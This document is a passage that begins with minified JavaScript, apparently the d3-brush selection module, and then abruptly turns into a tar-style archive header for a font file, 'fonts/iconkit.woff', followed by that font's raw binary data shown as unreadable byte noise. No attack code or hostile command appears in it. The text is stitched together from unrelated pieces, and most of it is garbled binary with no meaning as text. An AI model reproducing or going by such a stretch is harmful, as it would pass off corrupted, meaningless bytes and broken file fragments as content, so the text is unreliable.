r=n.property("__brush",D).selectAll(".overlay").data([_("overlay")]);r.enter().append("rect").attr("class","overlay").attr("pointer-events","all").attr("cursor",y.overlay).merge(r).each(function(){var t=z(this).extent;e.select(this).attr("x",t[0][0]).attr("y",t[0][1]).attr("width",t[1][0]-t[0][0]).attr("height",t[1][1]-t[0][1])}),n.selectAll(".selection").data([_("selection")]).enter().append("rect").attr("class","selection").attr("cursor",y.selection).attr("fill","#777").attr("fill-opacity",.3).attr("stroke","#fff").attr("shape-rendering","crispEdges");var s=n.selectAll(".handle").data(t.handles,function(t){return t.type});s.exit().remove(),s.enter().append("rect").attr("class",function(t){return"handle handle--"+t.type}).attr("cursor",function(t){return y[t.type]}),n.each(T).attr("fill","none").attr("pointer-events","all").style("-webkit-tap-highlight-color","rgba(0,0,0,0)").on("mousedown.brush touchstart.brush",C)}function T(){var t=e.select(this),n=z(this).selection;n?(t.selectAll(".selection").style("display",null).attr("x",n[0][0]).attr("y",n[0][1]).attr("width",n[1][0]-n[0][0]).attr("height",n[1][1]-n[0][1]),t.selectAll(".handle").style("display",null).attr("x",function(t){return"e"===t.type[t.type.length-1]?n[1][0]-P/2:n[0][0]-P/2}).attr("y",function(t){return"s"===t.type[0]?n[1][1]-P/2:n[0][1]-P/2}).attr("width",function(t){return"n"===t.type||"s"===t.type?n[1][0]-n[0][0]+P:P}).attr("height",function(t){return"e"===t.type||"w"===t.type?n[1][1]-n[0][1]+P:P})):t.selectAll(".selection,.handle").style("display","none").attr("x",null).attr("y",null).attr("width",null).attr("height",null)}function V(t,e){return t.__brush.emitter||new j(t,e)}function j(t,e){this.that=t,this.args=e,this.state=t.__brush,this.active=0}function C(){if(e.event.touches){if(e.event.changedTouches.length<e.event.touches.length)return l()}else if(m)return;if(E.apply(this,arguments)){var n,s,a,u,_,M,k,q,K,P,S,j,C,D=this,I=e.event.target.__data__.type,G="selection"===(e.event.metaKey?I="overlay":I)?c:e.event.altKey?p:f,N=t===v?null:g[I],O=t===d?null:x[I],X=z(D),Y=X.extent,B=X.selection,F=Y[0][0],H=Y[0][1],J=Y[1][0],L=Y[1][1],Q=N&&O&&e.event.shiftKey,R=e.mouse(D),U=R,W=V(D,arguments).beforestart();"overlay"===I?X.selection=B=[[n=t===v?F:R[0],a=t===d?H:R[1]],[_=t===v?J:n,k=t===d?L:a]]:(n=B[0][0],a=B[0][1],_=B[1][0],k=B[1][1]),s=n,u=a,M=_,q=k;var Z=e.select(D).attr("pointer-events","none"),$=Z.selectAll(".overlay").attr("cursor",y[I]);if(e.event.touches)Z.on("touchmove.brush",et,!0).on("touchend.brush touchcancel.brush",rt,!0);else{var tt=e.select(e.event.view).on("keydown.brush",function(){switch(e.event.keyCode){case 16:Q=N&&O;break;case 18:G===f&&(N&&(_=M-K*N,n=s+K*N),O&&(k=q-P*O,a=u+P*O),G=p,nt());break;case 32:G!==f&&G!==p||(N<0?_=M-K:N>0&&(n=s-K),O<0?k=q-P:O>0&&(a=u-P),G=h,$.attr("cursor",y.selection),nt());break;default:return}l()},!0).on("keyup.brush",function(){switch(e.event.keyCode){case 16:Q&&(j=C=Q=!1,nt());break;case 18:G===p&&(N<0?_=M:N>0&&(n=s),O<0?k=q:O>0&&(a=u),G=f,nt());break;case 32:G===h&&(e.event.altKey?(N&&(_=M-K*N,n=s+K*N),O&&(k=q-P*O,a=u+P*O),G=p):(N<0?_=M:N>0&&(n=s),O<0?k=q:O>0&&(a=u),G=f),$.attr("cursor",y[I]),nt());break;default:return}l()},!0).on("mousemove.brush",et,!0).on("mouseup.brush",rt,!0);r.dragDisable(e.event.view)}o(),i.interrupt(D),T.call(D),W.start()}function et(){var t=e.mouse(D);!Q||j||C||(Math.abs(t[0]-U[0])>Math.abs(t[1]-U[1])?C=!0:j=!0),U=t,S=!0,l(),nt()}function nt(){var t;switch(K=U[0]-R[0],P=U[1]-R[1],G){case h:case c:N&&(K=Math.max(F-n,Math.min(J-_,K)),s=n+K,M=_+K),O&&(P=Math.max(H-a,Math.min(L-k,P)),u=a+P,q=k+P);break;case f:N<0?(K=Math.max(F-n,Math.min(J-n,K)),s=n+K,M=_):N>0&&(K=Math.max(F-_,Math.min(J-_,K)),s=n,M=_+K),O<0?(P=Math.max(H-a,Math.min(L-a,P)),u=a+P,q=k):O>0&&(P=Math.max(H-k,Math.min(L-k,P)),u=a,q=k+P);break;case p:N&&(s=Math.max(F,Math.min(J,n-K*N)),M=Math.max(F,Math.min(J,_+K*N))),O&&(u=Math.max(H,Math.min(L,a-P*O)),q=Math.max(H,Math.min(L,k+P*O)))}M<s&&(N*=-1,t=n,n=_,_=t,t=s,s=M,M=t,I in b&&$.attr("cursor",y[I=b[I]])),q<u&&(O*=-1,t=a,a=k,k=t,t=u,u=q,q=t,I in w&&$.attr("cursor",y[I=w[I]])),X.selection&&(B=X.selection),j&&(s=B[0][0],M=B[1][0]),C&&(u=B[0][1],q=B[1][1]),B[0][0]===s&&B[0][1]===u&&B[1][0]===M&&B[1][1]===q||(X.selection=[[s,u],[M,q]],T.call(D),W.brush())}function rt(){if(o(),e.event.touches){if(e.event.touches.length)return;m&&clearTimeout(m),m=setTimeout(function(){m=null},500),Z.on("touchmove.brush touchend.brush touchcancel.brush",null)}else r.dragEnable(e.event.view,S),tt.on("keydown.brush keyup.brush mousemove.brush mouseup.brush",null);Z.attr("pointer-events","all"),$.attr("cursor",y.overlay),X.selection&&(B=X.selection),A(B)&&(X.selection=null,T.call(D)),W.end()}}function D(){var e=this.__brush||{selection:null};return e.extent=q.apply(this,arguments),e.dim=t,e}return S.move=function(e,n){e.selection?e.on("start.brush",function(){V(this,arguments).beforestart().start()}).on("interrupt.brush end.brush",function(){V(this,arguments).end()}).tween("brush",function(){var e=this,r=e.__brush,i=V(e,arguments),a=r.selection,u=t.input("function"==typeof n?n.apply(this,arguments):n,r.extent),o=s.interpolate(a,u);function l(t){r.selection=1===t&&A(u)?null:o(t),T.call(e),i.brush()}return a&&u?l:l(1)}):e.each(function(){var e=arguments,r=this.__brush,s=t.input("function"==typeof n?n.apply(this,e):n,r.extent),a=V(this,e).beforestart();i.interrupt(this),r.selection=null==s||A(s)?null:s,T.call(this),a.start().brush().end()})},j.prototype={beforestart:function(){return 1==++this.active&&(this.state.emitter=this,this.starting=!0),this},start:function(){return this.starting&&(this.starting=!1,this.emit("start")),this},brush:function(){return this.emit("brush"),this},end:function(){return 0==--this.active&&(delete this.state.emitter,this.emit("end")),this},emit:function(n){e.customEvent(new u(S,n,t.output(this.state.selection)),K.apply,K,[n,this.that,this.args])}},S.extent=function(t){return arguments.length?(q="function"==typeof t?t:a([[+t[0][0],+t[0][1]],[+t[1][0],+t[1][1]]]),S):q},S.filter=function(t){return arguments.length?(E="function"==typeof t?t:a(!!t),S):E},S.handleSize=function(t){return arguments.length?(P=+t,S):P},S.on=function(){var t=K.on.apply(K,arguments);return t===K?S:t},S}t.brush=function(){return q(m)},t.brushX=function(){return q(d)},t.brushY=function(){return q(v)},t.brushSelection=function(t){var e=t.__brush;return e?e.dim.output(e.selection):null},Object.defineProperty(t,"__esModule",{value:!0})});
fonts/iconkit.woff000064400000065470151677247160010254 0ustar00wOFFk8
��FFTM0|`fDGDEFL AOS/2lGVWU\=cmap��r2�>`gasp���glyf�[�Ɛ[�)head_�16C�hhea_� $��hmtx_���L�loca`�**5B:maxpc e
namec4��-postd(|�x�c```d�3��΃����`4H
�x�c`d``�b	`b`d`f�,`AIx�c`d�������i&��~������������  �5�����s���F�F��T�
:x���w��s���w{Ս]��芖��$"�P)��W	�TJC�S��Q�h���ʨl�w�Ư��=������~�_��{��B�J�+DQ�(�BE�+�rjd��Ⲃx���旳xI�+�$Vx�d)�|�t2e���l9r婡�Zj;��ȏ>�s��h�P�i�pG8�Q+�DSG;F3͵�R+�j�����v���':IG'�����4]��]��,g;ǹ
��|覻.�S/��%.u������W?�]e���v�"�6ĵ���n0�/��Q���0�(7m�[�5�x�j�In3�%n7�4w��tw��=f�i���u��=`���=�Q�y���y�[`�E[�i�x�R�,����E/y�+^��^��7��m+��]�y�*���}�c���g>������m��[}�[�|�{?(U�G��������?�i�=���/�ǿ�A!BbH
�!%����2Bf�
�B��rBnȋ����\�\����#�2$T���~����x���	`�(>ߌ�I���[�%9V|H���N�m;$� 㐄����@R΄(�Jh�BhZ�Q�����Z�m�v���m�u�}�h�vi����h����of4�����4��h�;~��>837w�M�y��r}�nw1�K����f���2�=|���?�w�K,A�a+�o���P��L�������Z�BK*�!�X�d���$l&Dnl��6y��{}����0	�F\�VW[�28���/�m���^�S�zדּ�&��vE���ҎP�f����KfwC��9|+q��s<M&��ѻ�Ђѐ��B���\�/�$����u�<b]}��|~r���>gs엜�뚚&��ʵrm\'��q>)�I�p<�j%���wK$��Kb�	�b� �]�b��›d��7�o{�NI���'QR��G�N���Ƿ*�~��W�$��ވ,Gd�(ze�[�d���ts����Kq�	f8��]$�����Y��6�L�.�텯�24t�Wؗ�˞�=~s�3��L��~~9�o�� ��W:�c�p����o	.'�v�A�XH��l��S9��I�[�y�6`��Nx�TC���>Ė�8tC��|SK�IO�?qtB�w�^N�"\7����J�-�p�B.�L�S�L��x�kF�,]��CvKC�rw��4d���/�f�(�{��Q�p�7tt4����&d�?Ғ�;��;���t��oK����x�ڙ�<��|�9��rI�q8I�M2�}ʅ�	=�Vc;�p8�<~^U���4�m���dڗ"�2�N'�)Υ��[���8.iG����u�i��c�,�J�cfk:��s�l*�ù/uїO�'=��g�#���D�鏛��l/��b�.�d/���ط�)��J>3��w��^��p��t{?�\�?�\f��َ�>��5�Ke��x��c���ឿ@�>�|U�9�|}�~�\	�5��Y��ݰ�����qw"��D�[
甽���DY�)��Q^R�W*E�8\��2\u�$�vD�k�e�]	��.Ar��^��iE Ƿ�ų��gRp&�a�N��U�mO1<��eqOEn��,�P��v����`��v�xW:��1��,~>q�w]��IVq�,��mt}�Dث��Vÿ�U�Ԫ�e�6����^�3�9���?%�ؑ1�˧V�R���uzہ�%��í��P-���2��
�t*}J8�<���%�pi�[ۓV_<b
����n$�7���E�G�P.�̹�5��|���7�‚���k~�돪'�ަ<�{ٶ��ݶ�\u��=C�wᕝ��O�0@��B[�
�@Ʒ�����Gwu\'�n�s�❏��A�|1-�����fӺ�/]�"9P���/�wѲ�qr�8!/�/��ed!\4�O�{)��.
��b�
Q�Vb�TP�%B�<�c?e�(3ʼn"ဝ�ŷ��N"|���:�2@��-xW�� �'}�Oy|�Y�:���"C���8�G��bP��k��S��"j��q�15%$N��Đ���B��nC7!%c���j�!�~��(�_@'MІP;!�Tv����]|�m8'�~�P �׼$?>�}��F�aFԅ$-��ĝ���1��.搰9�J�Je}:j�_���	エk��0q�D|21UF�p�=�Q8��
�;-��>#����_Ț��wd�z��IHr޺�<���u���x�E��+'�k;l��n��IӐ鍣G�8J��\����Ƿ�z�K����e��y�\���e�v�{�Q��â���B�G�r���R<�s���nK��i)G�g�SH�:��3R�EA�|�†"�#FR���)�ߕ(|&$�<I�<�h��^u5ܷ�[	��C�]�h`_��Y?�w��L�8�86�(�6i��xu�3?zf����]N�W��_���v����h��9�����&�D$��$.���{�6�;�U��m�Uc]��]��a�Yռ�����=9�ğa�I�0��n�"��ͻij�˛8��\�[�}��y2���
�I�3q��%�v�X9Wf�!Ž�����^I�K���~ ����k�QV�fKyk���E�,=s��{�.��pS�:�j�L&���P��m���&	?�t�^�Q8�O��)z<7U0q�Ǜ�%܅�.*�ਓ*H&&q .B�(d��Y}tИ�X��sKY���2t�BR�Ͷև�l?
#�����6�K�:o��f@A�'��4�����A�e����C�-�s���`/�P�%Iv��#��!���30$��5�(&V�v�첵ni�������_H�(�p���F��+��y�,I"<(
�8^� �|^a��[3�̒�p"P,IJfh�t%���?�?<�_��3��*ߥ<Ia���^�Q��_䂒��ؗ_O��~�f.�?�ťh��҆�
ʭp4���	�C����")9���g2��8�JBD��{�J6R���D�|&Ĉ��@�Y�h~
'�"���tNzw�p��Ő��w��Q4C^�%8Q�YC�����X<=�kޑ��"�'�]���b�ҁ��,�I�4~��x��SJy']����6�:`mw�����t���3P3�;?}f;V�T�H(�$�Y%��9^Z<:����k
��Xۜ�Mw�_��\������cLg��c3ō9n��,SI�5�Q'��H���!�h4�€3q���X$��0����p@�`fh(S�?D9�dG��.�Q��S���&��4� ��r���?�8�����)n�壠J����k �J(y��\<��M���,�>�dI�5�	�}$f�/�A���^�|'���^�^�|A��еǮ��>��Ni(��9`+�B�=k,~��w�K$�Y�
a�����*G�{[Cm�G�/��T�Ԣ�����a/��:4]K��]��+�4��'�/E*����� �m�(��n	bD\O�p`E�1A&��"w��ض����OU��3#������� v�o�:^8�6	�Q��-JA9@��`�I
Ev�x�	���AHߔWd,/���=$u�e,�Q�$�8���pIHR��H.��ۍ�(�eO<ZW��u@�x�5)�N�{��]S����
pT7̜�E�1���G_��fSB7�"/���1KQ���|˜9-J�qQ�2��$߸��+��6�5��J�,����R	�M�����m��EQ,���r4��=�R���d�eQ��9d�|������]�NP���9�D ���)��^1���d����kY�¥��(��{�.�?��;��<m���`��̒I�+�`�R��`	M��g����1`i"�sArF,"]����1�l�.��§x�yD5i�"mY�PИ�ͭ6��nG��9�@Qi��A%��)�2H�褼㏟��s�d�2K�÷<���<v��T�(�H}�p;�# ��y8H�7S�����U�z�zP�Gѫ�Qt.�΅g�Vv��E
+�%����a##N2IQ����h
&B�K��U�)
��

�Q�-5&�mr��҅)�'��76rp;�m!!�����`U+���r���46��D�B�}�g+~n�:�P�d�'V�̒�^����=�l���-� �AO��?e�p�F��b���u=.��5�V~�Ed�K���=A�)���+����t��G��۲6/#5��%�r3�Gf���Le���	W�}���Y ��'A�gͤ%�����N�FDSS��B�%<+:���&.�I㡍1�'�f��ߚ.��5�4�0��@��T��}Ƅ�ɠ��JN$�'O"�t���NV�U�^:IX��N�I�{(�X
�QmY�]��y����p���p���U�3����O�8�.8~mec0D�Rhzk�����r������]��ϥ�j�e��n��љ��M.�������i0��w&��m��א�)����C � U1M��
����Z�s��L�$R�ERQ*t�'�u�W��*��|%;�5��7*�;R��|>_e�l�v�A�U9s{�LG<�pT�
lL�*I��
�x�	�.%2G�J+t�0�JB�s�\"��XG^����d��B9C"&wos�٫�/H��������ƒ&�Z�q/mi^����, Kz�����HĿ��uL'��u�;��n~�,�%bx���Yj�\���e�W�ϵ�)�3��h!���NFˬ]=�>W���u�=��T}`��bx��nv-0����;b/�!��0pYn�$�N�}�A��݅|�ZFUy G���{�pV�	)��n@�]�-�|b�/כ�]�j���o<:N��ҀA;r՚X&Pk�,�e��m����9rlp߉[���c��t��+��?zz�]אH���l����2�vFV`!�̹�iw�va�v�q
�f��4����#���g��j`�K���BTzz��)fW�-J��0[uK.::����$?~�)��������f{��}6����j�ݳ�k�nj�c�ѱ{
2&���j[��p��|�Y�lF��j��sB���Q�(�2���>I�;}�w�Jŭ~��sYY���4F>�!fi!�0���VD����5�k�m��G&Aυ���bN�h���lΠ�/Km���/*�ڳk��"���<n�)$Z�M-�!���l�h��n3��7��nS$����[/p��ys�H[]H����߶��o������z�w[�$��w�ՖX|ͱ��v�M4w��C\�����A}�*O�'�$��$ɦ�f�ӁP.*��Vs��[Ѱ9��C��b���7ؕ<���a����#��&>��O���'H����'�o�.�S~cؕI{����j%8#]pF�_�~��O߰�5e��;����{�נ���anXk&�eS��Vr�r�-�V�r�
n/�	�w+w7�@���qR��[5'�xu{��T�-Wݞ�>%G����[�C����TLT`��c��Х~�X�)����-�w=��j��*�`�l���N�3M�q��0v������K�01�\��a����܂3{.Y�k��YU��H.�1g ���M̛ ��O����<$n<����o�]��_��e/@�[;4�Л��!��o"	k��Z�$�WFPuH5�$��$�F3)�i�"iM�
ASs (H�Ȩʰ�g��5;CAw�)��J�$i��O9�Y����-����;��@>L����ʻ��26KX��Z枔��M��-;���~g�݉A�N�
��V��A�
di3;�I��UW�)���MZx������7����*�SU߫�jGGZje�c�G��	�����s�I��Vy�LLj7M�)?�"?[ :A�������_��k���_;:~��+	ҥΐ2��?{�6���V/��N��ёi��Wgh�q�]���$lԓGTW)2
j���0Z�������RRȝm��F��4m��8u��͵���-���7�]
����=3Xתt]�L4����5��)��=j8&��k.Q���8:K{I�[qJ�>F	©�,�����W}N�b���T�G�G���_0xSz+Rt���U^|-݀��-�����u����3�1��?�U8�˵ �P��n����f�5�3�u0j4�8M�-�Y^9=�4�|��Cֱ�B�7IT�Bt��!�Z*�k�쨶��i�y-h$��Y��n����|ь�wTo~����U4��j��(�5�GdUӀE�͘�uX}���]c�S�YY����J�]ԇ�
E	���5X3���v8��]gmB��c�l �*�|�2�p�.��SN����'b!7�ZI��U��jO�fR��ҺI���$yw9ϠV))%�=U}�������B�#NjC)0����)���l��5�y�N�AqB���C�Γ*�����t�@�o�L�DH�1t�xe���^�*��s�x�(��?�c��(�C�`����%���{3�(�E7�A�\�zsn���:�v�F�q\Nug��fU���f��0ԝ��t/��)2�g�u�N��l��*W㊑�A�#�)�tAy�&'tR;�RSY6��$b�`.@�l-��)�ݑm���q4b�џ���g���~��ow;�e��;;ȿGnJ�/m��
�e��"?�����i�7�80ޜo=��ߊ7�J0_	؁A��4��BԻ���C�X<�s�Z���KN�
D>ጼ���Ĉ�\QXp�	�Z�Z��Z�&�$��Au5f~���4��©���6��"��Z`z���%X��ߤ�������7�����a����=!���U��񖢈��A�ֲ�"<�Ɋ����6��M:O��$���$<)̥�z�ҜՀ�Ը;
5�|I7u��S3s��+$#p�i2/��=$���&5���G�P�*i=��i��rfԧ>��^{)� `�6�����~��P<����BA��oEWcK[<����L5��x�=�{��>�b��i<��w;���S��OeA����3�R8��f~�Փ���o��ֶ��8~���P��>��z��V��N�Z��*�/t�}3�S=0��Sݷ�~$��l������R(D��w�R<��I�:����Hw(���nzwc|���E�ʿ�#)�z�����l��'��/��n�(6�?֨��{4����kyj��>&��	n�Z���njO�	��V�#��6axP�QJ3�{�z��8�`��w��S��$���1Y6"K�{%9���ԓn5�����hI���pc��~�Y	zP�H�h>CP�F=�*x�I�$��U���G��Ô{���A�����I��t���skf�{��@'�8QR9���p��1Tt���y�?*VOf4�R0N�W��14n�hf1�WdXD�0�J�.�b�]{�G�J�Y<��%��r.�d�LA����H�����O|V�^�_i�%�8o��L��I���E1�;���ڕg�QwGJr��B�c�Z��W�Վ�ŀW�ٰ��Pd��g�8�[{[y�qc[�����^~����/��M�P�������T���@�XӺz�-(z��;�
I�.a��Xpq䐣�MR�ƣR���ʯDM3�)x<ە#��Uk��4���)�b��墟(_���Q��Z��>4|2�&L��l8�1ޚ�n��)�.PwT�X�W��
�JB��a&��^���sM�v��rYn1�!_�TH��D���B�@Hu&�"~���	��(bIKp�Pb�<��y���+��[O�Ȉ2����h�9����@��.�\ƏB��Ͽ��~��R$�2�6R,F�7#�����9���[=��?C�}��HUͰ~|B�+�g���eC<��N�/g�H*�?!O��˖}x\�
a�7���$}a>��|8W�;�Ov�=_5�AU�d����b�d5�}��{��6 K��Z�+���~�d�l�z@2�+�as�X �:���J�|Н��|C��mv�ߑ���4���6�{�q*7*�xes�t��5��t��=Nr�ʃ(]�q!	�ݚ�CQ8Y�H{L�Y%�8��MR��lA�D��=wق%�{|&���lA
�vf1�+Wr	!�uJ�z_C��[g�����{L,��O���%jK��� H�0�7�F�F
<P�p�PAY?�C�(�_��s�(
5����9㏉�E��9�IϜ�8TހƢe��:��=de���6�>��@��W\�r���݁���·^V|n���G�ڦ4��Ŝ 5X�-��\V駴P��m��b�� ��7�����YT}�쪹�+���$�M)U��9���41��LV��}����.���Jl���F��VBT>3�nq�%������{z�<�׮܆��m�}��y���t��W�^_�
�����]��?�w��Nr��c�r�'�n�E��!�Q�|䣾֜�!DcI��.u��l�?4�W�B��-R���?��RT��2�l�����I�
Ip�!YR
��_"v�?���1�f�g����'�G>�^���b�^^��A����X$f��[cVܧ��!Dž��c͈Ӭ��>�5C�o��{��S!����
Y���C�A�K`��Z�{H02���Oty߾���"�n~U�l�̦W���V�M���Mn�w�����z�_�p
��<w�C��WYn����s-&��w[���	:�����.���~���Bd�&���󉮺��^�dro|��-���Y�}�$����/nk����M���a��G��D�-�k��s��Tgmn
����X;�<	Z��u�<���GD�G�9G2���O�X#�M�Yl����6'�o0J겮��IɊ�B0��	�Dg�-i$d8��(0{�uF�;'��!�8vt��И��v7"���`a#b�L����-*w�ұS�K���E���π�I��=���H�0.>��IIj�L����\iJ�ԣٗ�X�4s{VuR$G�n_�G`�R�ǵ��O�h9��!�/��5��1��s�_d�V�[���l%Fem���n����v(��ze�c�+2�f����cE��C��`��-��<2w�m%s0�����j���_A�&E��eS��E���=d�+�P.����\�7�h�V.��Y8�d�4��As��`�{���ʓ&�c4	W�A�W6��|�5��hӟ�K#g�$�r�4Jz,�%i
��7�j|Vr���&���*V��f����^sX��X�HL�	�2���U��Ucc��V���&O�>zt�r��|�2�x�:��y~���}��T
�����wGw�����ѽd8c�9ݞ�[._����B����>�p
��;
҄f�`C}�� T@��R�ͼq{#Kw4?���-\�&@P+V�:�$ӵ�(#��E&P_����8� @x�FL��_�E
*�]�Fj��5H(���!�G���m�AF�cw��<}��	㙦a��bz:���F����
#P����`��`{�'�4&�v��
04-�c��9-j�3�N�swν)���qe�E7����"��`���M�u�o7E�9�o��
��.D�~7������ԧ%�ݔ-�+�f�ZP�ŧ�Q���X
�K��C�K�j��Q�E�m��	n��J*�]��"7h�������B[����+Z���mȿ��y���&������:�~W}� �e�>����H%�m-�^ѳ����!��55w�jiZw��iB]����P�7�GR���f�[���X؅�'+�d]7&!��EP�+�L{�q<�GL�y&�g�#�k�m;��q6=��/�L=��-e����XG��i$���X���ǯ��x���|�QX��߱D%��o�ˌN����&�'�5°%f^��+�ԥw(� #��I�a��~���p?��:��A����yE'U1q�T�ą�9I���c�R4��y8Pyj6a�)�
�>�*�a��zn�qC�=̑d�ܭ�0�f�y4]��añ�e��ô�1����^IvހѶ�w��I��[	r���@����i����Hcqo�I�ŗW���~E�_"m����@{��h)5�n��(�R%��υ1��2f��	]�"�M!Gy��An&�s���9�7��d�����x��zZ٠�{L���C��9ښ,K��U)Aj3��jLOB�`^R,�=)�'��<M�ѩ�G̘Q�/�Te`J��}���74�%˞>	�4����P==�8+���d�I9	�
Cf�\��#1��9�I���S���{���,%!�gA�;�6�E�]vN����������go��\e1?��yXТ��E<�p��&���������Ҏ�
�4e�B�͚�h{���1=��L�^���4r��wx�/D��8,��V�������_٣�rY�/~y�[�<���/�mlt9D�6�LV���yk����׾�����AB
~�f����‡H��e��uN�%;t��t�s.����"�pB�[�(2���9J��y�^�Έ\j��mM[Ɇ':�>˓7I�Ʀ��.3�{�o�}c!��ᷨ[�+phkd<N��O6�{ov�/ğ�nz��wu<�n�[-��.�z(�Z��^�������l?�?H��N�?�1��5Y��U@�Z��E�Dtֈ���h��"a$�����?����f��59q�i{�Z�wk�2�����%Q�Y�K"��N���\�^N��,Q����#� �"��ʼ�\↝����}�;����K7���X|<�.́�]�Pa���L>fm��AZ��95�6L�2� ]����_ռ:�#NG�I�X����w:i��`N6w`����n���Ewu���Lp�[��($L�.�$O��2B��H��>�9 £�d
?m�Z=v�|o�j�LE��A�uk��q2Œ�6�":�J>�;��Vcr��	��%A������m�f���hvG�|%w����9�Ʈ�o3���SA=��T�5�Ȍ��B��g^=�Hm�c�SYdRŪ�*Q0Js%��H� ju�:�"��!���y��-��ǘebu_
�=�'�.%�M�\�H��3v�hp/��r�n�����
��*/�
R��^���hN$`l��b@ K\��
6� oٸп�V >��
�[���l7���˾����h�o<��)�G��,\4/|���[��w��e{^�;~�F��l���%�i4؈"�
�+�Յ$�R� �.�t"IE��*�D�bL-(%L��?I�} �$��$���A�3��=�v��74HЈ>\R���4Ǭ�R�Z[8՝E�ݚ�b\U7�{ghK'����/�N��veu��X*T�i?ߡ�5��v�����"�k���V����h:�yU��7��߰�������ح�f96�?�_��r���3����L=s ��!�(7���z{�����A~�'_`��;Y������ߠS����tۜ���oT��ʃ(�����'��w������r��ϦFNوG�4�
G$ͣ��]r:��7]���VIq8C�H!��9�䕵s�+�>|������l�]/�	���G�_��e��G��zZ���Ј|�
E �X�ٌ,���ث����R~��c'	�"��ʥ�������r�oMM�KMq��2<4!����ި�k�����ȿؽ�<�P~�fK����%*qa�zr�ൿ�oT��X����j<]j`��7sD�5;�A�9�����r��O$iοY������\�oR����\t�<.���q��_�������s�(ߘ=���o2%[�r��.|���>V�=�C�Ĝ��u����g��)\R�_jv���gJ�g�HH3��j���H^�@�:?���"*����xk�e��ɑh�
�
by�%��<߂�GGo}:�fb|pOF7fb�L���J3j�P~z
���G�b�iz2���/���;u���in7w���FW�D�L�L��b<y��W7���Aծ���So6���O��Ō�L!�h�-�(�x;���آZ-��V>䯴
���r�[�+�'�η�-��a��o�[[��Z<�@} ;�gi��Y��Z'9sN�þ�9fg����xٍ����D�]�~���ar��>p���z�m��C�v–Ǯp���kL�)����+�~u�Œ>�g~f#�iI]�����,C=<9p@�[H�w��<���Ĭ�k�X�Aֿ�|�xb���od�$��[��߀�w����0�m�oA���8�B�'O}��ܝ��PU��Le=\��l1�j0R�Rt12!f�6.|�&4���i�'ՉM�"�}�(�"��7�Ƶ�:��&q�Cs,b�g�RxJ
�npn�����祆|��I��u�W�o��\�y����u~���ڶ'���Y�.�>��Q�v��ԏ�\BܲPWk`7Y�<�����[�,�1��n��Ow��+�����΅��_�fK �dX�ld��%�������!��ţ�~�X��O͐Ǻ6���r���^/��*�od#X8H�j5�Ax-�J,�1�7��.4ޤ|���n`wwW%�C3K��MO2@3�Eh���M::B�P��&��:�����&�*��䋊��y��i��ڙE_�%��4mӺ.�̦���[�t����=��_�H��G���P�ű[�C=0��gؼ�����4�R
�+���NW�}�+�=�ʪ@�y*�Z�uOKt���'�w�eH��:�y�x��r�9�d����B�`��0#��QUKɊn�W3;����i��?I�o1
zw�6Y�_�/*l0�-
� 	��r�QU��~nh���LG>�L���i���͞�O��zޙ�'̙��Ɠ�~��M��	��q���%���_��)���v�`ckr�F�a��j���{!���#9kH���a{�<�M
�Vs�9��_��G�Ak���@Wd��|Ej�?,��������J}ꇤ�Qm_	��XsƼ�I@z���	;�h7��mc	4�>����SfM4�Qk��
��u�l��f������],�L�����uuu^�m���I�Vg8�~�Uy*W#�����\/�ܫag����Xz$�+�.E7o�S4�,�5*
9Iy.�i#qB;@4�FMp��J�����'�"šh_GR$u�R��q����n������a��E���i23�^gShN#�є�UF���gw�*|�6�����>\�0�OR�vU^&��W�gOq�l�l(��gVj���e��PM��:Q*��$4�`&�KOʤZ��V6�y��J��#|q��̥�>��"��g���_�?<��+�1���K�[��*�[���>?�f�
[uXZ�^S��T��UTa!ji_X
O��N�	ed��1t�	1Y���0OU\xk��s@��c���̤�{O`8$4�K����C���0�8H֨�R��V�u�Q�G5�;�~�j�X�E��
lx���'Py_�dY�ud!+ް�H]�
?���K����o���p�T�:V..|��G���p9nfĪ��(~�Ðn�t���X�����exD�ֆ�ު
U��R�k�r����>d�5
�X�e�t�-]z��;l����ի�cS�n��
�GĈ,v�t_<L�δ&�՞o}��r������%ֆʓ'�zb����*�+�:�Y�d*�I�y44��:P��Y���t�A�Gʻ0��n�"�&Š����G�c�L�~����{2"��9ű��,��Ѷ,�F��L���i&�O3�-嶡�f��������g��Bv�୪����3Fl�d}�{��IG�qgΧģk?�`�wz��w�ܵ0�N�9xg��"�1X��*���LJ��!��x�ka�tp�)�^�)�U��*��f=�!#���롒�;�̶i���������*4��mj("��'?���.Il��n$��D�zMcuL���T�fN�
a�w��3�c(�뤺�
�|z���PPg�cG��.@0c�¦z)�q�����d���"̛�9eiΉ�[��mtR��j�afR]������Ts�����wh4����D+��nsӶe�/�1���Ĥ�y/D���Sc��]�n�w������6�z�35��[�*��)��A�{�'t}�f��:�m��I��6����Un2�g�e�sbUYߚ��uX+Wu�|���t�[����/~gLy{ߖ�׾�w�{]<0w��c��şTI�:���W�v��W�}�:t���m��%��fq]L"�7����P�X[�\Ib��(�W㨠�,�>����{�	2�1v�$x�/1s��
,
�2	���h��#&��HB��:ȵ��~��}FYM%���?�����9���|bǎ'^ybG�r��?��ÿx���r[m����[�>�W���^.\L%� �580P����T�8	L
�
+�ɇ�)Z���q�7�����P~�+���ȗ����>�ӣ��S���B^�93�Iu"�pu�5��|��Pk���Z=Ԙ �j����Y���qr
uK{��R���|%����!23A7m}�e�1&�)�`8!��(��_#�T�LIDa���.��|q��V4���VН�7o�e�pO\m�uS�ܰ!JY5���1��*>�~CV^s�[��TDل�3N;����t���Ӧ�3��9�_���0pb��"�4��es�-[�e�,9f=��P�O7J�z>35�]t&��1�P�y��=�����Y�IA��n�2���%�/�\\)M%�z�����%F˨��3���%�%�HQ��9�9�g�ۚ��Y�M�HF�v3}�\pN��0s?f]��Z��|����L?�5�w՛��M�.����ӝދ�=�!�����ܾ a��$0/-���u��@9�V`���i�z���9Rv�4�&��b\�L�BDwҘ���A��vF��>����$�@g�#d���UA�QV�q��W}T�Q�>���R�����x�LRu���*�	�Byc������z��X�f���.v�|��#о��%A��TS���+��E�ݹ�E�[�h��=�ΦN��Φ:����N&�[�wp8�x�:��b��t����u�Z���.��:�b���ls���yS���3u{�AN�a��Z��t���C�y�A�0lV��ic�:��F�`|�t5g�
�H�4�8��ȣ�-j�o��T���\�	vU'�/��mk
z�X�}ZۨO��^ͥO��uZ�j�-�OK�\o�z�S�1Q�˳�He��w^�R�����lJ�i�i���n+��ٕ2M��ex�ɪ�l�{�M4�d5��qs3E���O�4o�jW@5 ���5���-�N+���YYW�J�u��Ja3�*4�
